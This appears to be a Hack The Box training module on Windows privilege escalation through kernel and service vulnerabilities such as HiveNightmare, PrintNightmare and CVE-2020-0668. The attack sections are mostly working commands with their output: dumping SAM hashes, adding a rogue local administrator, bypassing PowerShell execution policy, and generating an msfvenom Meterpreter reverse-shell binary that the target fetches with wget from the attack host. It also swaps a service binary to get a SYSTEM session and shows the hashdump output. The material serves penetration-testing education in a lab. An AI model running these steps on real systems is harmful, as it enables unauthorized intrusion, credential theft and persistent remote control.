**Kernel Exploits**

It's a big challenge to ensure that all user desktops and servers are updated, and 100% compliance for all computers with security patches is likely not an achievable goal. Assuming a computer has been targeted for installation of updates, for example, using SCCM (Microsoft System Center Configuration Manager) or WSUS (Windows Server Update Services), there are still many reasons they could fail to install. Over the years, there have been many kernel exploits that affect the Windows operating system from Windows 2000/XP up to Windows 10/Server 2016/2019. Below can be found a detailed table of known remote code execution/local privilege escalation exploits for Windows operating systems, broken down by service pack level, from Windows XP onward to Server 2016.

| **Base OS** | **XP** |  |  |  | **2003** |  |  | **Vista** |  |  | **2008** |  | **7** |  | **2008R2** |  | **8** | **8.1** | **2012** | **2012R2** | **10** | **2016** |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Service Pack | SP0 | SP1 | SP2 | SP3 | SP0 | SP1 | SP2 | SP0 | SP1 | SP2 | SP0 | SP2 | SP0 | SP1 | SP0 | SP1 |  |  |  |  |  |  |
| MS03-026 | • | • | • | • | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS05-039 | • | • | • |  | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS08-025 | • | • | • |  | • | • | • | • | • |  | • |  |  |  |  |  |  |  |  |  |  |  |
| MS08-067 | • | • | • | • | • | • | • | • | • |  | • |  |  |  |  |  |  |  |  |  |  |  |
| MS08-068 | • | • | • | • | • | • | • | • | • |  | • |  |  |  |  |  |  |  |  |  |  |  |
| MS09-012 | • | • | • | • | • | • | • | • | • |  | • |  |  |  |  |  |  |  |  |  |  |  |
| MS09-050 |  |  |  |  |  |  |  | • | • | • | • | • |  |  |  |  |  |  |  |  |  |  |
| MS10-015 |  |  | • | • | • | • | • | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |
| MS10-059 |  |  |  |  |  |  |  | • | • | • | • | • | • |  | • |  |  |  |  |  |  |  |
| MS10-092 |  |  |  |  |  |  |  | • | • | • | • | • | • |  | • |  |  |  |  |  |  |  |
| MS11-011 |  |  |  | • | • | • | • | • | • | • | • | • | • |  | • |  |  |  |  |  |  |  |
| MS11-046 |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |  |  |  |  |
| MS11-062 |  |  |  | • | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS11-080 |  |  |  | • | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS13-005 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • | • |  | • |  |  |  |
| MS13-053 |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  | • |  |  |  |
| MS13-081 |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  | • |  |  |  |
| MS14-002 |  |  |  | • | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS14-040 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS14-058 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS14-062 |  |  |  |  | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS14-068 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS14-070 |  |  |  |  | • | • | • |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| MS15-001 |  |  |  |  |  |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • |  |  |
| MS15-010 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS15-051 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS15-061 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS15-076 |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS15-078 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • |  |  |
| MS15-097 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • |  |
| MS16-016 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • |  |  |  |  |  |  |
| MS16-032 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • |  | • | • | • |  |  |
| MS16-135 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • |  | • | • | • | • | • |
| MS17-010 |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • | • | • | • | • | • | • |
| CVE-2017-0213: COM Aggregate Marshaler |  |  |  |  |  |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • | • |
| Hot Potato |  |  |  |  |  |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • |  |
| SmashedPotato |  |  |  |  |  |  |  |  |  |  |  |  | • | • | • | • | • | • | • | • | • |  |

Note: This table is not 100% complete, and does not go past 2017. As of today, there are more known vulnerabilities for the newer operating system versions and even Server 2019.

This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has 4,733 security vulnerabilities entered at the time of writing, showing the massive attack surface that a Windows environment presents.

As we can see from this table, there are many exploits that work for Windows XP up through Server 2012R2. As we get to Windows 10 and Server 2016, there are fewer known exploits. This is partly due to changes to the operating system over time, including security improvements and deprecation of older versions of protocols such as SMB. One important thing to note from this table is that when new vulnerabilities are discovered or exploits released (such as MS17-010), these usually trickle down and affect prior operating system versions. This is why it is vital to stay on top of patching or upgrading, retiring, or segregating off Windows systems that have reached end of life. We will explore this in more depth later on in this module.

It is important to note that while some of the examples above are remote code execution vulnerabilities, we can just as easily use them to escalate privileges. One example is if we gain access to a system and notice a port such as 445 (SMB service) not accessible from the outside, we may be able to privilege escalate if it is vulnerable to something such as EternalBlue (MS17-010). In this case, we could either port forward the port in question to be accessible from our attack host or run the exploit in question locally to escalate privileges.

**Notable Vulnerabilities**

Over the years, there have been many high-impact Windows vulnerabilities that can be leveraged to escalate privileges, some being purely local privilege escalation vectors and others being remote code execution (RCE) flaws that can be used to escalate privileges by forwarding a local port. One example of the latter would be landing on a box that does not allow access to port 445 from the outside, performing port forward to access this port from our attack box, and leveraging a remote code execution flaw against the SMB service to escalate privileges. Below are some extremely high-impact Windows vulnerabilities over the years that can be leveraged to escalate privileges.

MS08-067 - This was a remote code execution vulnerability in the "Server" service due to improper handling of RPC requests. This affected Windows Server 2000, 2003, and 2008 and Windows XP and Vista and allows an unauthenticated attacker to execute arbitrary code with SYSTEM privileges. Though typically encountered in client environments as a remote code execution vulnerability, we may land on a host where the SMB service is blocked via the firewall. We can use this to escalate privileges after forwarding port 445 back to our attack box. Though this is a "legacy" vulnerability, I still do see this pop up from time to time in large organizations, especially those in the medical industry who may be running specific applications that only work on older versions of Windows Server/Desktop. We should not discount older vulnerabilities even in 2021. We will run into every scenario under the sun while performing client assessments and must be ready to account for all possibilities. The box [Legacy](https://0xdf.gitlab.io/2019/02/21/htb-legacy.html) on the Hack The Box platform showcases this vulnerability from the remote code execution standpoint. There are standalone as well as a Metasploit version of this exploit.

MS17-010 - Also known as [EternalBlue](https://en.wikipedia.org/wiki/EternalBlue) is a remote code execution vulnerability that was part of the FuzzBunch toolkit released in the [Shadow Brokers](https://en.wikipedia.org/wiki/The_Shadow_Brokers) leak. This exploit leverages a vulnerability in the SMB protocol because the SMBv1 protocol mishandles packets specially crafted by an attacker, leading to arbitrary code execution on the target host as the SYSTEM account. As with MS08-067, this vulnerability can also be leveraged as a local privilege escalation vector if we land on a host where port 445 is firewalled off. There are various versions of this exploit for the Metasploit Framework as well as standalone exploit scripts. This attack was showcased in the [Blue](https://0xdf.gitlab.io/2021/05/11/htb-blue.html) box on Hack The Box, again from the remote standpoint.

ALPC Task Scheduler 0-Day - The ALPC endpoint method used by the Windows Task Scheduler service could be used to write arbitrary DACLs to .job files located in the C:\Windows\tasks directory. An attacker could leverage this to create a hard link to a file that the attacker controls. The exploit for this flaw used the [SchRpcSetSecurity](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/a8172c11-a24a-4ad9-abd0-82bcf29d794d?redirectedfrom=MSDN) API function to call a print job using the XPS printer and hijack the DLL as NT AUTHORITY\SYSTEM via the Spooler service. An-depth writeup is available [here](https://blog.grimm-co.com/2020/05/alpc-task-scheduler-0-day.html). The Hack The Box box [Hackback](https://snowscan.io/htb-writeup-hackback/) can be used to try out this privilege escalation exploit.

Summer of 2021 revealed a treasure trove of new Windows and Active Directory-related remote code execution and local privilege escalation flaws to the delight of penetration testers (and real-world attackers), and I'm sure groans from our hard-working colleagues on the defense side of things.

CVE-2021-36934 HiveNightmare, aka SeriousSam is a Windows 10 flaw that results in ANY user having rights to read the Windows registry and access sensitive information regardless of privilege level. Researchers quickly developed a PoC exploit to allow reading of the SAM, SYSTEM, and SECURITY registry hives and create copies of them to process offline later and extract password hashes (including local admin) using a tool such as SecretsDump.py. More information about this flaw can be found [here](https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5) and [this](https://github.com/GossiTheDog/HiveNightmare/raw/master/Release/HiveNightmare.exe) exploit binary can be used to create copies of the three files to our working directory. This [script](https://github.com/GossiTheDog/HiveNightmare/blob/master/Mitigation.ps1) can be used to detect the flaw and also fix the ACL issue. Let's take a look.

**Checking Permissions on the SAM File**

We can check for this vulnerability using icacls to check permissions on the SAM file. In our case, we have a vulnerable version as the file is readable by the BUILTIN\Users group.

Checking Permissions on the SAM File

C:\htb> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Users:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Successful exploitation also requires the presence of one or more shadow copies. Most Windows 10 systems will have System Protection enabled by default which will create periodic backups, including the shadow copy necessary to leverage this flaw.

**Performing Attack and Parsing Password Hashes**

This [PoC](https://github.com/cube0x0/CVE-2021-36934) by [@cube0x0](https://twitter.com/cube0x0) can be used to perform the entire attack, including dumping the NTLM hashes from the SAM database, directly in the console.

Performing Attack and Parsing Password Hashes

PS C:\htb> .\CVE-2021-36934.exe

[\*] SAM: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\sam

[\*] SYSTEM: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\system

[\*] SECURITY: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\security

[\*] Copying files to C:\windows\temp\

[\*] SAM hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb

htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6

[\*] Cached domain logon information(domain/username:hash)

[\*] LSA Secrets

[\*] DPAPI\_SYSTEM

dpapi\_machinekey:3c7b7e66890fb2181a74bb56ab12195f248e9461

dpapi\_userkey:c3e6491e75d7cffe8efd40df94d83cba51832a56

[\*] NL$KM

NL$KM:45c5b232298b05b8e7e7e04b2c148302ce2fe7d9b8e0f0f820c8e470ddd17f4f422ce69eaf5774010988b378173f8854528f8d9c0636c02443b9d80f3588b960

[\*] Cleaning up..

CVE-2021-1675/CVE-2021-34527 PrintNightmare is a flaw in [RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22) which is used to allow for remote printing and driver installation. This function is intended to give users with the Windows privilege SeLoadDriverPrivilege the ability to add drivers to a remote Print Spooler. This right is typically reserved for users in the built-in Administrators group and Print Operators who may have a legitimate need to install a printer driver on an end user's machine remotely. The flaw allowed any authenticated user to add a print driver to a Windows system without having the privilege mentioned above, allowing an attacker full remote code execution as SYSTEM on any affected system. The flaw affects every supported version of Windows, and being that the Print Spooler runs by default on Domain Controllers, Windows 7 and 10, and is often enabled on Windows servers, this presents a massive attack surface, hence "nightmare." Microsoft initially released a patch that did not fix the issue (and early guidance was to disable the Spooler service, which is not practical for many organizations) but released a second [patch](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) in July of 2021 along with guidance to check that specific registry settings are either set to 0 or not defined. Once this vulnerability was made public, PoC exploits were released rather quickly. [This](https://github.com/cube0x0/CVE-2021-1675) version by [@cube0x0](https://twitter.com/cube0x0) can be used to execute a malicious DLL remotely or locally using a modified version of Impacket. The repo also contains a C# implementation. This [PowerShell implementation](https://github.com/calebstewart/CVE-2021-1675) can be used for quick local privilege escalation. By default, this script adds a new local admin user, but we can also supply a custom DLL to obtain a reverse shell or similar if adding a local admin user is not in scope.

**Checking for Spooler Service**

We can quickly check if the Spooler service is running with the following command. If it is not running, we will receive a "path does not exist" error.

Checking for Spooler Service

PS C:\htb> ls \\localhost\pipe\spoolss

Directory: \\localhost\pipe

Mode LastWriteTime Length Name

---- ------------- ------ ----

spoolss

**Adding Local Admin with PrintNightmare PowerShell PoC**

First start by [bypassing](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) the execution policy on the target host:

Adding Local Admin with PrintNightmare PowerShell PoC

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change

The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose

you to the security risks described in the about\_Execution\_Policies help topic at

https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?

[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A

Now we can import the PowerShell script and use it to add a new local admin user.

Adding Local Admin with PrintNightmare PowerShell PoC

PS C:\htb> Import-Module .\CVE-2021-1675.ps1

PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf\_am

d64\_ce3301b66255a0fb\Amd64\mxdwdrv.dll"

[+] added user hacker as local administrator

[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

**Confirming New Admin User**

If all went to plan, we will have a new local admin user under our control. Adding a user is "noisy," We would not want to do this on an engagement where stealth is a consideration. Furthermore, we would want to check with our client to ensure account creation is in scope for the assessment.

Confirming New Admin User

PS C:\htb> net user hacker

User name hacker

Full Name hacker

Comment

User's comment

Country/region code 000 (System Default)

Account active Yes

Account expires Never

Password last set ?8/?9/?2021 12:12:01 PM

Password expires Never

Password changeable ?8/?9/?2021 12:12:01 PM

Password required Yes

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon Never

Logon hours allowed All

Local Group Memberships \*Administrators

Global Group memberships \*None

The command completed successfully.

This is a small sampling of some of the highest impact vulnerabilities. While it is imperative for us to understand and be able to enumerate and exploit these vulnerabilities, it is also important to be able to detect and leverage lesser-known flaws.

**Enumerating Missing Patches**

The first step is looking at installed updates and attempting to find updates that may have been missed, thus, opening up an attack path for us.

**Examining Installed Updates**

We can examine the installed updates in several ways. Below are three separate commands we can use.

Examining Installed Updates

PS C:\htb> systeminfo

PS C:\htb> wmic qfe list brief

PS C:\htb> Get-Hotfix

**Viewing Installed Updates with WMI**

Viewing Installed Updates with WMI

C:\htb> wmic qfe list brief

Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status

Update KB4601056 NT AUTHORITY\SYSTEM 3/27/2021

Update KB4513661 1/9/2020

Security Update KB4516115 1/9/2020

Update KB4517245 1/9/2020

Security Update KB4528759 1/9/2020

Security Update KB4535680 NT AUTHORITY\SYSTEM 3/27/2021

Security Update KB4580325 NT AUTHORITY\SYSTEM 3/27/2021

Security Update KB5000908 NT AUTHORITY\SYSTEM 3/27/2021

Security Update KB5000808 NT AUTHORITY\SYSTEM 3/27/2021

We can search for each KB (Microsoft Knowledge Base ID number) in the [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000808) to get a better idea of what fixes have been installed and how far behind the system may be on security updates. A search for KB5000808 shows us that this is an update from March of 2021, which means the system is likely far behind on security updates.

**CVE-2020-0668 Example**

Next, let's exploit [Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege Vulnerability](https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/), which exploits an arbitrary file move vulnerability leveraging the Windows Service Tracing. Service Tracing allows users to troubleshoot issues with running services and modules by generating debug information. Its parameters are configurable using the Windows registry. Setting a custom MaxFileSize value that is smaller than the size of the file prompts the file to be renamed with a .OLD extension when the service is triggered. This move operation is performed by NT AUTHORITY\SYSTEM, and can be abused to move a file of our choosing with the help of mount points and symbolic links.

**Checking Current User Privileges**

Let's verify our current user's privileges.

Checking Current User Privileges

C:\htb> whoami /priv

PRIVILEGES INFORMATION

----------------------

Privilege Name Description State

============================= ==================================== ========

SeShutdownPrivilege Shut down the system Disabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeUndockPrivilege Remove computer from docking station Disabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeTimeZonePrivilege Change the time zone Disabled

**After Building Solution**

We can use [this](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) exploit for CVE-2020-0668, download it, and open it in Visual Studio within a VM. Building the solution should create the following files.

After Building Solution

CVE-2020-0668.exe

CVE-2020-0668.exe.config

CVE-2020-0668.pdb

NtApiDotNet.dll

NtApiDotNet.xml

At this point, we can use the exploit to create a file of our choosing in a protected folder such as C:\Windows\System32. We aren't able to overwrite any protected Windows files. This privileged file write needs to be chained with another vulnerability, such as [UsoDllLoader](https://github.com/itm4n/UsoDllLoader) or [DiagHub](https://github.com/xct/diaghub) to load the DLL and escalate our privileges. However, the UsoDllLoader technique may not work if Windows Updates are pending or currently being installed, and the DiagHub service may not be available.

We can also look for any third-party software, which can be leveraged, such as the Mozilla Maintenance Service. This service runs in the context of SYSTEM and is startable by unprivileged users. The (non-system protected) binary for this service is located below.

* C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

**Checking Permissions on Binary**

icacls confirms that we only have read and execute permissions on this binary based on the line BUILTIN\Users:(I)(RX) in the command output.

Checking Permissions on Binary

C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

**Generating Malicious Binary**

Let's generate a malicious maintenanceservice.exe binary that can be used to obtain a Meterpreter reverse shell connection from our target.

Generating Malicious Binary

yovecio@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse\_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 645 bytes

Final size of exe file: 7168 bytes

**Hosting the Malicious Binary**

We can download it to the target using cURL after starting a Python HTTP server on our attack host like in the User Account Control section previously. We can also use wget from the target.

Hosting the Malicious Binary

yovecio@htb[/htb]$ $ python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

10.129.43.13 - - [01/Mar/2022 18:17:26] "GET /maintenanceservice.exe HTTP/1.1" 200 -

10.129.43.13 - - [01/Mar/2022 18:17:45] "GET /maintenanceservice.exe HTTP/1.1" 200 -

**Downloading the Malicious Binary**

For this step we need to make two copies of the malicious .exe file. We can just pull it over twice or do it once and make a second copy.

We need to do this because running the exploit corrupts the malicious version of maintenanceservice.exe that is moved to (our copy in c:\Users\htb-student\Desktop that we are targeting) c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe which we will need to account for later. If we attempt to utilize the copied version, we will receive a system error 216 because the .exe file is no longer a valid binary.

Downloading the Malicious Binary

PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe

PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe

**Running the Exploit**

Next, let's run the exploit. It accepts two arguments, the source and destination files.

Running the Exploit

C:\htb> C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

[+] Moving C:\Users\htb-student\Desktop\maintenanceservice.exe to C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

[+] Mounting \RPC Control onto C:\Users\htb-student\AppData\Local\Temp\nzrghuxz.leo

[+] Creating symbol links

[+] Updating the HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration.

[+] Sleeping for 5 seconds so the changes take effect

[+] Writing phonebook file to C:\Users\htb-student\AppData\Local\Temp\179739c5-5060-4088-a3e7-57c7e83a0828.pbk

[+] Cleaning up

[+] Done!

**Checking Permissions of New File**

The exploit runs and executing icacls again shows the following entry for our user: WINLPE-WS02\htb-student:(F). This means that our htb-student user has full control over the maintenanceservice.exe binary, and we can overwrite it with a non-corrupted version of our malicious binary.

Checking Permissions of New File

C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)

BUILTIN\Administrators:(F)

WINLPE-WS02\htb-student:(F)

**Replacing File with Malicious Binary**

We can overwrite the maintenanceservice.exe binary in c:\Program Files (x86)\Mozilla Maintenance Service with a good working copy of our malicious binary created earlier before proceeding to start the service. In this example, we downloaded two copies of the malicious binary to C:\Users\htb-student\Desktop, maintenanceservice.exe and maintenanceservice2.exe. Let's move the good copy that was not corrupted by the exploit maintenanceservice2.exe to the Program Files directory, making sure to rename the file properly and remove the 2 or the service won't start. The copy command will only work from a cmd.exe window, not a PowerShell console.

Replacing File with Malicious Binary

C:\htb> copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

1 file(s) copied.

**Metasploit Resource Script**

Next, save the below commands to a [Resource Script](https://docs.rapid7.com/metasploit/resource-scripts/) file named handler.rc.

Metasploit Resource Script

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse\_https

set LHOST <our\_ip>

set LPORT 8443

exploit

**Launching Metasploit with Resource Script**

Launch Metasploit using the Resource Script file to preload our settings.

Launching Metasploit with Resource Script

yovecio@htb[/htb]$ sudo msfconsole -r handler.rc

. .

.

dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o

' dB' BBP

dB'dB'dB' dBBP dBP dBP BB

dB'dB'dB' dBP dBP dBP BB

dB'dB'dB' dBBBBP dBP dBBBBBBB

dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP

. . dB' dBP dB'.BP

| dBP dBBBB' dBP dB'.BP dBP dBP

--o-- dBP dBP dBP dB'.BP dBP dBP

| dBBBBP dBP dBBBBP dBBBBP dBP dBP

.

.

o To boldly go where no

shell has gone before

=[ metasploit v6.0.9-dev ]

+ -- --=[ 2069 exploits - 1123 auxiliary - 352 post ]

+ -- --=[ 592 payloads - 45 encoders - 10 nops ]

+ -- --=[ 7 evasion ]

Metasploit tip: Use the resource command to run commands from a file

[\*] Processing handler.rc for ERB directives.

resource (handler.rc)> use exploit/multi/handler

[\*] Using configured payload generic/shell\_reverse\_tcp

resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse\_https

PAYLOAD => windows/x64/meterpreter/reverse\_https

resource (handler.rc)> set LHOST 10.10.14.3

LHOST => 10.10.14.3

resource (handler.rc)> set LPORT 8443

LPORT => 8443

resource (handler.rc)> exploit

[\*] Started HTTPS reverse handler on https://10.10.14.3:8443

**Starting the Service**

Start the service, and we should get a session as NT AUTHORITY\SYSTEM.

Starting the Service

C:\htb> net start MozillaMaintenance

The service is not responding to the control function

More help is available by typing NET HELPMSG 2186

**Receiving a Meterpreter Session**

We will get an error trying to start the service but will still receive a callback once the Meterpreter binary executes.

Receiving a Meterpreter Session

[\*] Started HTTPS reverse handler on https://10.10.14.3:8443

[\*] https://10.10.14.3:8443 handling request from 10.129.43.13; (UUID: syyuxztc) Staging x64 payload (201308 bytes) ...

[\*] Meterpreter session 1 opened (10.10.14.3:8443 -> 10.129.43.13:52047) at 2021-05-14 13:38:55 -0400

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer : WINLPE-WS02

OS : Windows 10 (10.0 Build 18363).

Architecture : x64

System Language : en\_US

Domain : WORKGROUP

Logged On Users : 6

Meterpreter : x64/windows

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::

mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::